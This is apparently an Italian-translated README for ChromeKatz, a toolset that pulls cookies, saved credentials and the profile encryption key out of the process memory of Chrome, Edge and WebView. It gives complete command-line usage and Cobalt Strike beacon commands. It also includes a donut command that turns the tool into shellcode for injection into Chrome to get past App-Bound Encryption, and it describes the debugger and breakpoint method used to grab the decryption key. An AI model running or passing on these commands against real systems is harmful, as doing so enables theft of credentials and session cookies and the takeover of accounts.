
Estrai cookie e credenziali direttamente dalla memoria dei processi di Chrome/Edge
ChromeKatz è una soluzione per estrarre informazioni sensibili dalla memoria dei browser basati su Chromium. Per ora, ChromeKatz è composto da tre progetti:
CookieKatz dispone di un eseguibile, un Beacon Object File e un parser per minidump. E per ElevationKatz di un eseguibile e un Beacon Object File.
ElevationKatz è ora in grado di analizzare i database di cookie e credenziali dalla memoria del browser e di decrittarli per te.
CookieKatz è stato completamente rinnovato per utilizzare un metodo molto più robusto per trovare i cookie! Il nuovo metodo supporta anche versioni precedenti del browser. È ora disponibile una nuova flag /inject implementata in CookieKatz per bypassare la App-Bound Encryption sui browser interessati!
Mi serve un caffè, e anche i miei gatti ne hanno bisogno!
CookieKatz è un progetto che consente agli operatori di estrarre i cookie da Chrome, Edge o Msedgewebview2 direttamente dalla memoria del processo. I browser basati su Chromium caricano tutti i loro cookie dal database cookie su disco all'avvio.
I vantaggi di questo approccio sono*:
Queste affermazioni sono ancora valide su alcuni browser/applicazioni. Per le versioni più recenti di Chrome dovrai effettuare l'iniezione nel processo. ... Oppure usa ElevationKatz
Le installazioni di browser a 32 bit non sono supportate e anche le build a 32 bit di CookieKatz non sono supportate.
Attualmente vengono estratti solo i cookie normali. Chromium memorizza i Partitioned Cookies in un posto diverso e al momento non sono inclusi nell'estrazione.
Questa soluzione è composta da tre progetti: CookieKatz, un eseguibile PE, CookieKatz-BOF, una versione Beacon Object File, e CookieKatzMinidump, il parser per minidump.
NOTA! Quando si sceglie di usare un PID come target, usa i comandi /list o cookie-katz-find rispettivamente per selezionare il sottoprocesso giusto!
Examples:
.\CookieKatz.exe
By default targets first available Chrome process
.\CookieKatz.exe /edge
Targets first available Edge process
.\CookieKatz.exe /pid:<pid>
Attempts to target given pid, expecting it to be Chrome
.\CookieKatz.exe /webview /pid:<pid>
Targets the given msedgewebview2 process
.\CookieKatz.exe /list /webview
Lists available webview processes
.\CookieKatz.exe /inject
Targets the current process. Use this flag when your are injecting CookieKatz to Chrome process.
TIP! If you need to inject CookieKatz into the Chrome process, you can turn the exe into shellcode using donut:
.\donut.exe -a 2 --input <Path_to_CookieKatz.exe> -z 4 -b 1 -p "/inject" -t
Flags:
/edge Target current user Edge process
/webview Target current user Msedgewebview2 process
/pid Attempt to dump given pid, for example, someone else's if running elevated
/list List targettable processes, use with /edge or /webview to target other browsers
/inject Indicate that the process will run in the target process
/out Write output to file, default location is "C:\Users\Public\Documents\cookies.log"
/help This what you just did! -h works as well
beacon> help cookie-katz
Dump cookies from Chrome or Edge
Use: cookie-katz [chrome|edge|webview] [pid]
beacon> help cookie-katz-find
Find processes for Cookie-Katz
Use: cookie-katz-find [chrome|edge|webview]
Usage:
CookieKatzMinidump.exe <Path_to_minidump_file>
Example:
.\CookieKatzMinidump.exe .\msedge.DMP
To target correct process for creating the minidump, you can use the following PowerShell command:
Get-WmiObject Win32_Process | where {$_.CommandLine -match 'network.mojom.NetworkService'} | select -Property Name,ProcessId
ElevationKatz consente agli operatori di estrarre dalla memoria la chiave di crittografia del profilo del browser per permettere l'accesso alle informazioni sensibili dell'utente. Funziona avviando un nuovo processo del browser in stato sospeso, impostando breakpoint ed estraendo la chiave nel momento in cui il processo del browser la riceve dal servizio di elevazione.
I vantaggi di questo approccio sono:
ElevationKatz avvierà un nuovo processo del browser in stato sospeso e vi collegherà un debugger. Poi analizzerà la dll del browser per trovare l'istruzione in cui il browser ritorna dalla chiamata a os_crypt::DecryptAppBoundString e imposterà un breakpoint subito dopo. Quando il breakpoint viene raggiunto, lo strumento estrarrà la chiave di crittografia dalla memoria.
Ci sono due tipi di breakpoint tra cui l'operatore può scegliere: breakpoint Software e Hardware.
Inoltre, per i breakpoint HW, ci sono due metodi supportati per l'enumerazione dei thread tra cui scegliere: NtGetNextThread e CreateToolhelp32Snapshot. I breakpoint SW non necessitano di enumerazione dei thread e quindi la flag /tl32 non li influenza.
Il nuovo parametro config può essere usato per decrittare automaticamente i database dei profili. Utilizza la tecnica di IHack4Falafel per analizzare i database Cookie e Login Profile dalla memoria del browser, evitando di toccare direttamente i file.
Nota l'estrazione funziona solo con i breakpoint HW perché non sono riuscito a capire come pulire correttamente i breakpoint SW e riavvolgere il RIP per evitare il crash del processo.